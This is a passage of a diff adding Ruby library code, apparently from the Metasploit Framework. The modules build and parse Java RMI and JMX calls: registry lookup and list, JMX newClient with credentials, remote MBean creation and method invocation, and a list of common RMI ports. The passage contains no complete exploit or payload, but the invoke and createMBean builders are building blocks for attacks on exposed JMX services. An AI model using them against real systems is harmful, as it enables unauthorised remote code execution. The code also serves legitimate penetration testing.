object_number = opts[:object_number] || 0
|
||||||
|
uid_number = opts[:uid_number] || 0
|
||||||
|
uid_time = opts[:uid_time] || 0
|
||||||
|
uid_count = opts[:uid_count] || 0
|
||||||
|
|
||||||
|
method_hash = calculate_method_hash('createMBean(Ljava/lang/String;Ljavax/management/ObjectName;Ljavax/security/auth/Subject;)Ljavax/management/ObjectInstance;')
|
||||||
|
|
||||||
|
arguments = build_jmx_create_mbean_args(name)
|
||||||
|
|
||||||
|
call = build_call(
|
||||||
|
object_number: object_number,
|
||||||
|
uid_number: uid_number,
|
||||||
|
uid_time: uid_time,
|
||||||
|
uid_count: uid_count,
|
||||||
|
operation: -1,
|
||||||
|
hash: method_hash,
|
||||||
|
arguments: arguments
|
||||||
|
)
|
||||||
|
|
||||||
|
call
|
||||||
|
end
|
||||||
|
|
||||||
|
# Builds an an array of arguments o build a call to
|
||||||
|
# javax/management/remote/rmi/RMIConnectionImpl_Stub#createMBean()
|
||||||
|
#
|
||||||
|
# @param name [Hash] the MBean name
|
||||||
|
# @return [Array]
|
||||||
|
def build_jmx_create_mbean_args(name = '')
|
||||||
|
arguments = [
|
||||||
|
Rex::Java::Serialization::Model::Utf.new(nil, name),
|
||||||
|
Rex::Java::Serialization::Model::NullReference.new,
|
||||||
|
Rex::Java::Serialization::Model::NullReference.new
|
||||||
|
]
|
||||||
|
|
||||||
|
arguments
|
||||||
|
end
|
||||||
|
end
|
||||||
|
|
||||||
|
|
||||||
|
# Builds an RMI call to javax/management/remote/rmi/RMIConnectionImpl_Stub#invoke()
|
||||||
|
# used to invoke an MBean method
|
||||||
|
#
|
||||||
|
# @param opts [Hash]
|
||||||
|
# @option opts [String] :name the MBean name
|
||||||
|
# @return [Rex::Proto::Rmi::Model::Call]
|
||||||
|
# @see Msf::Exploit::Remote::Java::Rmi::Builder.build_call
|
||||||
|
# @see #build_jmx_invoke_args
|
||||||
|
def build_jmx_invoke(opts = {})
|
||||||
|
object_number = opts[:object_number] || 0
|
||||||
|
uid_number = opts[:uid_number] || 0
|
||||||
|
uid_time = opts[:uid_time] || 0
|
||||||
|
uid_count = opts[:uid_count] || 0
|
||||||
|
|
||||||
|
method_hash = calculate_method_hash('invoke(Ljavax/management/ObjectName;Ljava/lang/String;Ljava/rmi/MarshalledObject;[Ljava/lang/String;Ljavax/security/auth/Subject;)Ljava/lang/Object;')
|
||||||
|
|
||||||
|
arguments = build_jmx_invoke_args(opts)
|
||||||
|
|
||||||
|
call = build_call(
|
||||||
|
object_number: object_number,
|
||||||
|
uid_number: uid_number,
|
||||||
|
uid_time: uid_time,
|
||||||
|
uid_count: uid_count,
|
||||||
|
operation: -1,
|
||||||
|
hash: method_hash,
|
||||||
|
arguments: arguments
|
||||||
|
)
|
||||||
|
|
||||||
|
call
|
||||||
|
end
|
||||||
|
|
||||||
|
# Builds an an array of arguments o build a call to
|
||||||
|
# javax/management/remote/rmi/RMIConnectionImpl_Stub#invoke()
|
||||||
|
#
|
||||||
|
# @param opts [Hash]
|
||||||
|
# @option opts [String] :object the MBean name
|
||||||
|
# @option opts [String] :method the method name
|
||||||
|
# @option opts [Hash] :args the method arguments
|
||||||
|
# @return [Array]
|
||||||
|
def build_jmx_invoke_args(opts = {})
|
||||||
|
object_name = opts[:object] || ''
|
||||||
|
method_name = opts[:method] || ''
|
||||||
|
args = opts[:args] || {}
|
||||||
|
|
||||||
|
builder = Rex::Java::Serialization::Builder.new
|
||||||
|
|
||||||
|
new_object = builder.new_object(
|
||||||
|
name: 'javax.management.ObjectName',
|
||||||
|
serial: Msf::Exploit::Remote::Java::Rmi::Client::Jmx::OBJECT_NAME_UID, # serialVersionUID
|
||||||
|
flags: 3
|
||||||
|
)
|
||||||
|
|
||||||
|
data_binary = builder.new_array(
|
||||||
|
name: '[B',
|
||||||
|
serial: Msf::Exploit::Remote::Java::Rmi::Client::Jmx::BYTE_ARRAY_UID, # serialVersionUID
|
||||||
|
values_type: 'byte',
|
||||||
|
values: build_invoke_arguments_obj_bytes(args).encode.unpack('C*')
|
||||||
|
)
|
||||||
|
|
||||||
|
marshall_object = builder.new_object(
|
||||||
|
name: 'java.rmi.MarshalledObject',
|
||||||
|
serial: Msf::Exploit::Remote::Java::Rmi::Client::Jmx::MARSHALLED_OBJECT_UID, # serialVersionUID
|
||||||
|
fields: [
|
||||||
|
['int', 'hash'],
|
||||||
|
['array', 'locBytes', '[B'],
|
||||||
|
['array', 'objBytes', '[B']
|
||||||
|
],
|
||||||
|
data: [
|
||||||
|
["int", 1919492550],
|
||||||
|
Rex::Java::Serialization::Model::NullReference.new,
|
||||||
|
data_binary
|
||||||
|
]
|
||||||
|
)
|
||||||
|
|
||||||
|
new_array = builder.new_array(
|
||||||
|
name: '[Ljava.lang.String;',
|
||||||
|
serial: Msf::Exploit::Remote::Java::Rmi::Client::Jmx::STRING_ARRAY_UID, # serialVersionUID
|
||||||
|
values_type: 'java.lang.String;',
|
||||||
|
values: args.keys.collect { |k| Rex::Java::Serialization::Model::Utf.new(nil, k) }
|
||||||
|
)
|
||||||
|
|
||||||
|
arguments = [
|
||||||
|
new_object,
|
||||||
|
Rex::Java::Serialization::Model::Utf.new(nil, object_name),
|
||||||
|
Rex::Java::Serialization::Model::EndBlockData.new,
|
||||||
|
Rex::Java::Serialization::Model::Utf.new(nil, method_name),
|
||||||
|
marshall_object,
|
||||||
|
new_array,
|
||||||
|
Rex::Java::Serialization::Model::NullReference.new
|
||||||
|
]
|
||||||
|
|
||||||
|
arguments
|
||||||
|
end
|
||||||
|
|
||||||
|
# Builds a Rex::Java::Serialization::Model::Stream with the arguments to
|
||||||
|
# simulate a call to the Java javax/management/remote/rmi/RMIConnectionImpl_Stub#invoke()
|
||||||
|
# method.
|
||||||
|
#
|
||||||
|
# @param args [Hash] the arguments of the method to invoke
|
||||||
|
# @return [Rex::Java::Serialization::Model::Stream]
|
||||||
|
def build_invoke_arguments_obj_bytes(args = {})
|
||||||
|
builder = Rex::Java::Serialization::Builder.new
|
||||||
|
|
||||||
|
new_array = builder.new_array(
|
||||||
|
name: '[Ljava.lang.Object;',
|
||||||
|
serial: Msf::Exploit::Remote::Java::Rmi::Client::Jmx::OBJECT_ARRAY_UID, # serialVersionUID
|
||||||
|
annotations: [Rex::Java::Serialization::Model::EndBlockData.new],
|
||||||
|
values_type: 'java.lang.Object;',
|
||||||
|
values: args.values.collect { |arg| Rex::Java::Serialization::Model::Utf.new(nil, arg) }
|
||||||
|
)
|
||||||
|
|
||||||
|
stream = Rex::Java::Serialization::Model::Stream.new
|
||||||
|
stream.contents << new_array
|
||||||
|
|
||||||
|
stream
|
||||||
|
end
|
||||||
|
end
|
||||||
|
end
|
||||||
|
end
|
||||||
|
end
|
||||||
|
end
|
||||||
|
end
|
||||||
|
end
|
||||||
|
end
|
|
@ -0,0 +1,63 @@
|
||||||
|
# -*- coding: binary -*-
|
||||||
|
|
||||||
|
require 'msf/core/exploit/java/rmi/client/jmx/server/builder'
|
||||||
|
require 'msf/core/exploit/java/rmi/client/jmx/server/parser'
|
||||||
|
|
||||||
|
module Msf
|
||||||
|
class Exploit
|
||||||
|
class Remote
|
||||||
|
module Java
|
||||||
|
module Rmi
|
||||||
|
module Client
|
||||||
|
module Jmx
|
||||||
|
module Server
|
||||||
|
|
||||||
|
include Msf::Exploit::Remote::Java::Rmi::Client::Jmx::Server::Builder
|
||||||
|
include Msf::Exploit::Remote::Java::Rmi::Client::Jmx::Server::Parser
|
||||||
|
|
||||||
|
# Sends a call to the JMXRMI endpoint to retrieve an MBean instance. Simulates a call
|
||||||
|
# to the Java javax/management/remote/rmi/RMIServer_Stub#newClient()
|
||||||
|
# method.
|
||||||
|
#
|
||||||
|
# @param opts [Hash]
|
||||||
|
# @option opts [Rex::Socket::Tcp] :sock
|
||||||
|
# @return [Hash, NilClass] The connection information if success, nil otherwise
|
||||||
|
# @raise [Rex::Proto::Rmi::Exception] if the endpoint raises a remote exception
|
||||||
|
# @see Msf::Exploit::Remote::Java::Rmi::Client::Registry::Builder.build_jmx_new_client
|
||||||
|
def send_new_client(opts = {})
|
||||||
|
send_call(
|
||||||
|
sock: opts[:sock] || sock,
|
||||||
|
call: build_jmx_new_client(opts)
|
||||||
|
)
|
||||||
|
|
||||||
|
return_value = recv_return(
|
||||||
|
sock: opts[:sock] || sock
|
||||||
|
)
|
||||||
|
|
||||||
|
if return_value.nil?
|
||||||
|
return nil
|
||||||
|
end
|
||||||
|
|
||||||
|
if return_value.is_exception?
|
||||||
|
raise ::Rex::Proto::Rmi::Exception, return_value.get_class_name
|
||||||
|
end
|
||||||
|
|
||||||
|
remote_object = return_value.get_class_name
|
||||||
|
|
||||||
|
unless remote_object && remote_object == 'javax.management.remote.rmi.RMIConnectionImpl_Stub'
|
||||||
|
return nil
|
||||||
|
end
|
||||||
|
|
||||||
|
reference = parse_jmx_new_client_endpoint(return_value)
|
||||||
|
|
||||||
|
reference
|
||||||
|
end
|
||||||
|
|
||||||
|
end
|
||||||
|
end
|
||||||
|
end
|
||||||
|
end
|
||||||
|
end
|
||||||
|
end
|
||||||
|
end
|
||||||
|
end
|
|
@ -0,0 +1,77 @@
|
||||||
|
# -*- coding: binary -*-
|
||||||
|
|
||||||
|
module Msf
|
||||||
|
class Exploit
|
||||||
|
class Remote
|
||||||
|
module Java
|
||||||
|
module Rmi
|
||||||
|
module Client
|
||||||
|
module Jmx
|
||||||
|
module Server
|
||||||
|
module Builder
|
||||||
|
|
||||||
|
# Builds an RMI call to javax/management/remote/rmi/RMIServer_Stub#newClient()
|
||||||
|
# used to enumerate the names bound in a registry
|
||||||
|
#
|
||||||
|
# @param opts [Hash]
|
||||||
|
# @option opts [String] :username the JMX role to establish the connection if needed
|
||||||
|
# @option opts [String] :password the JMX password to establish the connection if needed
|
||||||
|
# @return [Rex::Proto::Rmi::Model::Call]
|
||||||
|
# @see Msf::Exploit::Remote::Java::Rmi::Builder.build_call
|
||||||
|
def build_jmx_new_client(opts = {})
|
||||||
|
object_number = opts[:object_number] || 0
|
||||||
|
uid_number = opts[:uid_number] || 0
|
||||||
|
uid_time = opts[:uid_time] || 0
|
||||||
|
uid_count = opts[:uid_count] || 0
|
||||||
|
username = opts[:username]
|
||||||
|
password = opts[:password] || ''
|
||||||
|
|
||||||
|
if username
|
||||||
|
arguments = build_jmx_new_client_args(username, password)
|
||||||
|
else
|
||||||
|
arguments = [Rex::Java::Serialization::Model::NullReference.new]
|
||||||
|
end
|
||||||
|
|
||||||
|
call = build_call(
|
||||||
|
object_number: object_number,
|
||||||
|
uid_number: uid_number,
|
||||||
|
uid_time: uid_time,
|
||||||
|
uid_count: uid_count,
|
||||||
|
operation: -1,
|
||||||
|
hash: -1089742558549201240, # javax.management.remote.rmi.RMIServer.newClient
|
||||||
|
arguments: arguments
|
||||||
|
)
|
||||||
|
|
||||||
|
call
|
||||||
|
end
|
||||||
|
|
||||||
|
# Builds a Rex::Java::Serialization::Model::NewArray with credentials
|
||||||
|
# to make an javax/management/remote/rmi/RMIServer_Stub#newClient call
|
||||||
|
#
|
||||||
|
# @param username [String] The username (role) to authenticate with
|
||||||
|
# @param password [String] The password to authenticate with
|
||||||
|
# @return [Array<Rex::Java::Serialization::Model::NewArray>]
|
||||||
|
def build_jmx_new_client_args(username = '', password = '')
|
||||||
|
builder = Rex::Java::Serialization::Builder.new
|
||||||
|
|
||||||
|
auth_array = builder.new_array(
|
||||||
|
name: '[Ljava.lang.String;',
|
||||||
|
serial: Msf::Exploit::Remote::Java::Rmi::Client::Jmx::STRING_ARRAY_UID, # serialVersionUID
|
||||||
|
values_type: 'java.lang.String;',
|
||||||
|
values: [
|
||||||
|
Rex::Java::Serialization::Model::Utf.new(nil, username),
|
||||||
|
Rex::Java::Serialization::Model::Utf.new(nil, password)
|
||||||
|
]
|
||||||
|
)
|
||||||
|
|
||||||
|
[auth_array]
|
||||||
|
end
|
||||||
|
end
|
||||||
|
end
|
||||||
|
end
|
||||||
|
end
|
||||||
|
end
|
||||||
|
end
|
||||||
|
end
|
||||||
|
end
|
||||||
|
end
|
|
@ -0,0 +1,40 @@
|
||||||
|
# -*- coding: binary -*-
|
||||||
|
|
||||||
|
module Msf
|
||||||
|
class Exploit
|
||||||
|
class Remote
|
||||||
|
module Java
|
||||||
|
module Rmi
|
||||||
|
module Client
|
||||||
|
module Jmx
|
||||||
|
module Server
|
||||||
|
module Parser
|
||||||
|
# Parses a javax/management/remote/rmi/RMIServer_Stub#newClient() return value
|
||||||
|
# to find out the remote reference information.
|
||||||
|
#
|
||||||
|
# @param return_value [Rex::Java::Serialization::Model::ReturnValue]
|
||||||
|
# @return [Hash, NilClass] The remote interface information if success, nil otherwise
|
||||||
|
def parse_jmx_new_client_endpoint(return_value)
|
||||||
|
values_size = return_value.value.length
|
||||||
|
end_point_block_data = return_value.value[values_size - 2]
|
||||||
|
|
||||||
|
unless end_point_block_data.is_a?(Rex::Java::Serialization::Model::BlockData)
|
||||||
|
return nil
|
||||||
|
end
|
||||||
|
|
||||||
|
return_io = StringIO.new(end_point_block_data.contents, 'rb')
|
||||||
|
|
||||||
|
reference = extract_reference(return_io)
|
||||||
|
|
||||||
|
reference
|
||||||
|
end
|
||||||
|
|
||||||
|
end
|
||||||
|
end
|
||||||
|
end
|
||||||
|
end
|
||||||
|
end
|
||||||
|
end
|
||||||
|
end
|
||||||
|
end
|
||||||
|
end
|
|
@ -0,0 +1,135 @@
|
||||||
|
# -*- coding: binary -*-
|
||||||
|
|
||||||
|
require 'msf/core/exploit/java/rmi/client/registry/builder'
|
||||||
|
require 'msf/core/exploit/java/rmi/client/registry/parser'
|
||||||
|
|
||||||
|
module Msf
|
||||||
|
class Exploit
|
||||||
|
class Remote
|
||||||
|
module Java
|
||||||
|
module Rmi
|
||||||
|
module Client
|
||||||
|
# This mixin provides methods to simulate calls to the Java java/rmi/registry/RegistryImpl_Stub
|
||||||
|
# interface
|
||||||
|
module Registry
|
||||||
|
|
||||||
|
include Msf::Exploit::Remote::Java::Rmi::Client::Registry::Builder
|
||||||
|
include Msf::Exploit::Remote::Java::Rmi::Client::Registry::Parser
|
||||||
|
|
||||||
|
# Sends a Registry lookup call to the RMI endpoint. Simulates a call to the Java
|
||||||
|
# java/rmi/registry/RegistryImpl_Stub#lookup() method.
|
||||||
|
#
|
||||||
|
# @param opts [Hash]
|
||||||
|
# @option opts [Rex::Socket::Tcp] :sock
|
||||||
|
# @return [Hash, NilClass] The remote reference information if success, nil otherwise
|
||||||
|
# @raise [Rex::Proto::Rmi::Exception] if the endpoint raises a remote exception
|
||||||
|
# @see Msf::Exploit::Remote::Java::Rmi::Client::Registry::Builder.build_registry_lookup
|
||||||
|
def send_registry_lookup(opts = {})
|
||||||
|
send_call(
|
||||||
|
sock: opts[:sock] || sock,
|
||||||
|
call: build_registry_lookup(opts)
|
||||||
|
)
|
||||||
|
|
||||||
|
return_value = recv_return(
|
||||||
|
sock: opts[:sock] || sock
|
||||||
|
)
|
||||||
|
|
||||||
|
if return_value.nil?
|
||||||
|
return nil
|
||||||
|
end
|
||||||
|
|
||||||
|
if return_value.is_exception?
|
||||||
|
raise ::Rex::Proto::Rmi::Exception, return_value.get_class_name
|
||||||
|
end
|
||||||
|
|
||||||
|
remote_object = return_value.get_class_name
|
||||||
|
|
||||||
|
if remote_object.nil?
|
||||||
|
return nil
|
||||||
|
end
|
||||||
|
|
||||||
|
remote_location = parse_registry_lookup_endpoint(return_value)
|
||||||
|
|
||||||
|
if remote_location.nil?
|
||||||
|
return nil
|
||||||
|
end
|
||||||
|
|
||||||
|
remote_location.merge(object: remote_object)
|
||||||
|
end
|
||||||
|
|
||||||
|
# Sends a Registry list call to the RMI endpoint. Simulates a call to the Java
|
||||||
|
# java/rmi/registry/RegistryImpl_Stub#list() method
|
||||||
|
#
|
||||||
|
# @param opts [Hash]
|
||||||
|
# @option opts [Rex::Socket::Tcp] :sock
|
||||||
|
# @return [Array, NilClass] The set of names if success, nil otherwise
|
||||||
|
# @raise [Rex::Proto::Rmi::Exception] if the endpoint raises a remote exception
|
||||||
|
# @see Msf::Exploit::Remote::Java::Rmi::Client::Registry::Builder.build_registry_list
|
||||||
|
def send_registry_list(opts = {})
|
||||||
|
send_call(
|
||||||
|
sock: opts[:sock] || sock,
|
||||||
|
call: build_registry_list(opts)
|
||||||
|
)
|
||||||
|
|
||||||
|
return_value = recv_return(
|
||||||
|
sock: opts[:sock] || sock
|
||||||
|
)
|
||||||
|
|
||||||
|
if return_value.nil?
|
||||||
|
return nil
|
||||||
|
end
|
||||||
|
|
||||||
|
if return_value.is_exception?
|
||||||
|
raise ::Rex::Proto::Rmi::Exception, return_value.get_class_name
|
||||||
|
end
|
||||||
|
|
||||||
|
names = parse_registry_list(return_value)
|
||||||
|
|
||||||
|
names
|
||||||
|
end
|
||||||
|
|
||||||
|
# Calculates the hash to make RMI calls for the
|
||||||
|
# java/rmi/registry/RegistryImpl_Stub interface
|
||||||
|
#
|
||||||
|
# @return [Fixnum] The interface's hash
|
||||||
|
def registry_interface_hash
|
||||||
|
hash = calculate_interface_hash(
|
||||||
|
[
|
||||||
|
{
|
||||||
|
name: 'bind',
|
||||||
|
descriptor: '(Ljava/lang/String;Ljava/rmi/Remote;)V',
|
||||||
|
exceptions: ['java.rmi.AccessException', 'java.rmi.AlreadyBoundException', 'java.rmi.RemoteException']
|
||||||
|
},
|
||||||
|
{
|
||||||
|
name: 'list',
|
||||||
|
descriptor: '()[Ljava/lang/String;',
|
||||||
|
exceptions: ['java.rmi.AccessException', 'java.rmi.RemoteException']
|
||||||
|
},
|
||||||
|
{
|
||||||
|
name: 'lookup',
|
||||||
|
descriptor: '(Ljava/lang/String;)Ljava/rmi/Remote;',
|
||||||
|
exceptions: ['java.rmi.AccessException', 'java.rmi.NotBoundException', 'java.rmi.RemoteException']
|
||||||
|
},
|
||||||
|
{
|
||||||
|
name: 'rebind',
|
||||||
|
descriptor: '(Ljava/lang/String;Ljava/rmi/Remote;)V',
|
||||||
|
exceptions: ['java.rmi.AccessException', 'java.rmi.RemoteException']
|
||||||
|
},
|
||||||
|
{
|
||||||
|
name: 'unbind',
|
||||||
|
descriptor: '(Ljava/lang/String;)V',
|
||||||
|
exceptions: ['java.rmi.AccessException', 'java.rmi.NotBoundException', 'java.rmi.RemoteException']
|
||||||
|
}
|
||||||
|
]
|
||||||
|
)
|
||||||
|
|
||||||
|
hash
|
||||||
|
end
|
||||||
|
|
||||||
|
end
|
||||||
|
end
|
||||||
|
end
|
||||||
|
end
|
||||||
|
end
|
||||||
|
end
|
||||||
|
end
|
|
@ -0,0 +1,70 @@
|
||||||
|
# -*- coding: binary -*-
|
||||||
|
|
||||||
|
module Msf
|
||||||
|
class Exploit
|
||||||
|
class Remote
|
||||||
|
module Java
|
||||||
|
module Rmi
|
||||||
|
module Client
|
||||||
|
module Registry
|
||||||
|
module Builder
|
||||||
|
|
||||||
|
# Builds an RMI call to java/rmi/registry/RegistryImpl_Stub#lookup() used to
|
||||||
|
# retrieve the remote reference bound to a name.
|
||||||
|
#
|
||||||
|
# @param opts [Hash]
|
||||||
|
# @option opts [String] :name the name to lookup
|
||||||
|
# @return [Rex::Proto::Rmi::Model::Call]
|
||||||
|
# @see Msf::Exploit::Remote::Java::Rmi::Builder.build_call
|
||||||
|
def build_registry_lookup(opts = {})
|
||||||
|
object_number = opts[:object_number] || 0
|
||||||
|
uid_number = opts[:uid_number] || 0
|
||||||
|
uid_time = opts[:uid_time] || 0
|
||||||
|
uid_count = opts[:uid_count] || 0
|
||||||
|
name = opts[:name] || ''
|
||||||
|
|
||||||
|
call = build_call(
|
||||||
|
object_number: object_number,
|
||||||
|
uid_number: uid_number,
|
||||||
|
uid_time: uid_time,
|
||||||
|
uid_count: uid_count,
|
||||||
|
operation: 2, # java.rmi.Remote lookup(java.lang.String)
|
||||||
|
hash: registry_interface_hash,
|
||||||
|
arguments: [Rex::Java::Serialization::Model::Utf.new(nil, name)]
|
||||||
|
)
|
||||||
|
|
||||||
|
call
|
||||||
|
end
|
||||||
|
|
||||||
|
# Builds an RMI call to java/rmi/registry/RegistryImpl_Stub#list() used to
|
||||||
|
# enumerate the names bound in a registry
|
||||||
|
#
|
||||||
|
# @param opts [Hash]
|
||||||
|
# @return [Rex::Proto::Rmi::Model::Call]
|
||||||
|
# @see Msf::Exploit::Remote::Java::Rmi::Builder.build_call
|
||||||
|
def build_registry_list(opts = {})
|
||||||
|
object_number = opts[:object_number] || 0
|
||||||
|
uid_number = opts[:uid_number] || 0
|
||||||
|
uid_time = opts[:uid_time] || 0
|
||||||
|
uid_count = opts[:uid_count] || 0
|
||||||
|
|
||||||
|
call = build_call(
|
||||||
|
object_number: object_number,
|
||||||
|
uid_number: uid_number,
|
||||||
|
uid_time: uid_time,
|
||||||
|
uid_count: uid_count,
|
||||||
|
operation: 1, # java.lang.String list()[]
|
||||||
|
hash: registry_interface_hash,
|
||||||
|
arguments: []
|
||||||
|
)
|
||||||
|
|
||||||
|
call
|
||||||
|
end
|
||||||
|
end
|
||||||
|
end
|
||||||
|
end
|
||||||
|
end
|
||||||
|
end
|
||||||
|
end
|
||||||
|
end
|
||||||
|
end
|
|
@ -0,0 +1,53 @@
|
||||||
|
# -*- coding: binary -*-
|
||||||
|
|
||||||
|
module Msf
|
||||||
|
class Exploit
|
||||||
|
class Remote
|
||||||
|
module Java
|
||||||
|
module Rmi
|
||||||
|
module Client
|
||||||
|
module Registry
|
||||||
|
module Parser
|
||||||
|
# Parses a java/rmi/registry/RegistryImpl_Stub#lookup() return value to find out
|
||||||
|
# the remote reference information.
|
||||||
|
#
|
||||||
|
# @param return_value [Rex::Java::Serialization::Model::ReturnValue]
|
||||||
|
# @return [Hash, NilClass] The remote interface information if success, nil otherwise
|
||||||
|
def parse_registry_lookup_endpoint(return_value)
|
||||||
|
values_size = return_value.value.length
|
||||||
|
end_point_block_data = return_value.value[values_size - 2]
|
||||||
|
unless end_point_block_data.is_a?(Rex::Java::Serialization::Model::BlockData)
|
||||||
|
return nil
|
||||||
|
end
|
||||||
|
|
||||||
|
return_io = StringIO.new(end_point_block_data.contents, 'rb')
|
||||||
|
|
||||||
|
reference = extract_reference(return_io)
|
||||||
|
|
||||||
|
reference
|
||||||
|
end
|
||||||
|
|
||||||
|
# Parses a java/rmi/registry/RegistryImpl_Stub#list() return value to find out
|
||||||
|
# the list of names registered.
|
||||||
|
#
|
||||||
|
# @param return_value [Rex::Java::Serialization::Model::ReturnValue]
|
||||||
|
# @return [Array, NilClass] The list of names registered if success, nil otherwise
|
||||||
|
def parse_registry_list(return_value)
|
||||||
|
unless return_value.value[0].is_a?(Rex::Java::Serialization::Model::NewArray)
|
||||||
|
return nil
|
||||||
|
end
|
||||||
|
|
||||||
|
unless return_value.value[0].type == 'java.lang.String;'
|
||||||
|
return nil
|
||||||
|
end
|
||||||
|
|
||||||
|
return_value.value[0].values.collect { |val| val.contents }
|
||||||
|
end
|
||||||
|
end
|
||||||
|
end
|
||||||
|
end
|
||||||
|
end
|
||||||
|
end
|
||||||
|
end
|
||||||
|
end
|
||||||
|
end
|
|
@ -0,0 +1,142 @@
|
||||||
|
# -*- coding: binary -*-
|
||||||
|
require 'rex/java/serialization'
|
||||||
|
require 'rex/text'
|
||||||
|
|
||||||
|
module Msf
|
||||||
|
class Exploit
|
||||||
|
class Remote
|
||||||
|
module Java
|
||||||
|
module Rmi
|
||||||
|
module Util
|
||||||
|
# Calculates a method hash to make RMI calls as defined by the JDK 1.2
|
||||||
|
#
|
||||||
|
# @param signature [String] The remote method signature as specified by the JDK 1.2,
|
||||||
|
# method name + method descriptor (as explained in the Java Virtual Machine Specification)
|
||||||
|
# @return [Fixnum] The method hash
|
||||||
|
# @see http://docs.oracle.com/javase/8/docs/platform/rmi/spec/rmi-stubs24.html The RemoteRef Interface documentation to understand how method hashes are calculated
|
||||||
|
def calculate_method_hash(signature)
|
||||||
|
utf = Rex::Java::Serialization::Model::Utf.new(nil, signature)
|
||||||
|
sha1 = Rex::Text.sha1_raw(utf.encode)
|
||||||
|
|
||||||
|
sha1.unpack('Q<')[0]
|
||||||
|
end
|
||||||
|
|
||||||
|
# Calculates an interface hash to make RMI calls as defined by the JDK 1.1
|
||||||
|
#
|
||||||
|
# @param methods [Array] set of method names and their descriptors
|
||||||
|
# @return [Fixnum] The interface hash
|
||||||
|
# @see http://docs.oracle.com/javase/8/docs/platform/rmi/spec/rmi-stubs24.html The RemoteRef Interface documentation to understand how interface hashes are calculated
|
||||||
|
def calculate_interface_hash(methods)
|
||||||
|
stream = ''
|
||||||
|
stream << [1].pack('N') # stub version number
|
||||||
|
|
||||||
|
methods.each do |m|
|
||||||
|
utf_method = Rex::Java::Serialization::Model::Utf.new(nil, m[:name])
|
||||||
|
utf_descriptor = Rex::Java::Serialization::Model::Utf.new(nil, m[:descriptor])
|
||||||
|
stream << utf_method.encode
|
||||||
|
stream << utf_descriptor.encode
|
||||||
|
m[:exceptions].each do |e|
|
||||||
|
utf_exception = Rex::Java::Serialization::Model::Utf.new(nil, e)
|
||||||
|
stream << utf_exception.encode
|
||||||
|
end
|
||||||
|
end
|
||||||
|
|
||||||
|
sha1 = Rex::Text.sha1_raw(stream)
|
||||||
|
|
||||||
|
sha1.unpack('Q<')[0]
|
||||||
|
end
|
||||||
|
|
||||||
|
# Extracts an string from an IO
|
||||||
|
#
|
||||||
|
# @param io [IO] the io to extract the string from
|
||||||
|
# @return [String, nil] the extracted string if success, nil otherwise
|
||||||
|
def extract_string(io)
|
||||||
|
raw_length = io.read(2)
|
||||||
|
unless raw_length && raw_length.length == 2
|
||||||
|
return nil
|
||||||
|
end
|
||||||
|
length = raw_length.unpack('s>')[0]
|
||||||
|
|
||||||
|
string = io.read(length)
|
||||||
|
unless string && string.length == length
|
||||||
|
return nil
|
||||||
|
end
|
||||||
|
|
||||||
|
string
|
||||||
|
end
|
||||||
|
|
||||||
|
# Extracts an int from an IO
|
||||||
|
#
|
||||||
|
# @param io [IO] the io to extract the int from
|
||||||
|
# @return [Fixnum, nil] the extracted int if success, nil otherwise
|
||||||
|
def extract_int(io)
|
||||||
|
int_raw = io.read(4)
|
||||||
|
unless int_raw && int_raw.length == 4
|
||||||
|
return nil
|
||||||
|
end
|
||||||
|
int = int_raw.unpack('l>')[0]
|
||||||
|
|
||||||
|
int
|
||||||
|
end
|
||||||
|
|
||||||
|
# Extracts a long from an IO
|
||||||
|
#
|
||||||
|
# @param io [IO] the io to extract the long from
|
||||||
|
# @return [Fixnum, nil] the extracted int if success, nil otherwise
|
||||||
|
def extract_long(io)
|
||||||
|
int_raw = io.read(8)
|
||||||
|
unless int_raw && int_raw.length == 8
|
||||||
|
return nil
|
||||||
|
end
|
||||||
|
int = int_raw.unpack('q>')[0]
|
||||||
|
|
||||||
|
int
|
||||||
|
end
|
||||||
|
|
||||||
|
# Extract an RMI interface reference from an IO
|
||||||
|
#
|
||||||
|
# @param io [IO] the io to extract the reference from, should contain the data
|
||||||
|
# inside a BlockData with the reference information.
|
||||||
|
# @return [Hash, nil] the extracted reference if success, nil otherwise
|
||||||
|
# @see Msf::Exploit::Remote::Java::Rmi::Client::Jmx:Server::Parser#parse_jmx_new_client_endpoint
|
||||||
|
# @see Msf::Exploit::Remote::Java::Rmi::Client::Registry::Parser#parse_registry_lookup_endpoint
|
||||||
|
def extract_reference(io)
|
||||||
|
ref = extract_string(io)
|
||||||
|
unless ref && ref == 'UnicastRef'
|
||||||
|
return nil
|
||||||
|
end
|
||||||
|
|
||||||
|
address = extract_string(io)
|
||||||
|
return nil unless address
|
||||||
|
|
||||||
|
port = extract_int(io)
|
||||||
|
return nil unless port
|
||||||
|
|
||||||
|
object_number = extract_long(io)
|
||||||
|
|
||||||
|
uid = Rex::Proto::Rmi::Model::UniqueIdentifier.decode(io)
|
||||||
|
|
||||||
|
{address: address, port: port, object_number: object_number, uid: uid}
|
||||||
|
end
|
||||||
|
|
||||||
|
# Register ports and services for autofilter support
|
||||||
|
#
|
||||||
|
def register_common_rmi_ports_and_services
|
||||||
|
register_autofilter_ports([
|
||||||
|
999, 1090, 1098, 1099, 1100, 1101, 1102, 1103, 1129, 1030, 1035, 1199, 1234, 1440, 3273, 3333, 3900,
|
||||||
|
2199, 2809, 5520, 5580, 5521, 5999, 6060, 6789, 6996, 7700, 7800, 7878, 7890, 7801, 8050, 8051, 8085,
|
||||||
|
8091, 8205, 8303, 8642, 8701, 8686, 8888, 8889, 8890, 8901, 8902, 8903, 8999, 9001, 9003, 9004, 9005,
|
||||||
|
9050, 9090, 9099, 9300, 9500, 9711, 9809, 9810, 9811, 9812, 9813, 9814, 9815, 9875, 9910, 9991, 9999,
|
||||||
|
10001, 10162, 10098, 10099, 11001, 11099, 11333, 12000, 13013, 14000, 15000, 15001, 15200, 16000,
|
||||||
|
17200, 18980, 20000, 23791, 26256, 31099, 33000, 32913, 37718, 45230, 47001, 47002, 50050, 50500,
|
||||||
|
50501, 50502, 50503, 50504
|
||||||
|
])
|
||||||
|
register_autofilter_services(%W{ rmi rmid java-rmi rmiregistry })
|
||||||
|
end
|
||||||
|
|
||||||
|
end
|
||||||
|
end
|
||||||
|
end
|
||||||
|
end
|
||||||
|
end
|
||||||
|
end
|
|
@ -0,0 +1,143 @@
|
||||||
|
# -*- coding: binary -*-
|
||||||
|
require 'rex/proto/kerberos'
|
||||||
|
|
||||||
|
module Msf
|
||||||
|
class Exploit
|
||||||
|
class Remote
|
||||||
|
module Kerberos
|
||||||
|
module Client
|
||||||
|
require 'msf/core/exploit/kerberos/client/base'
|
||||||
|
require 'msf/core/exploit/kerberos/client/as_request'
|
||||||
|
require 'msf/core/exploit/kerberos/client/as_response'
|
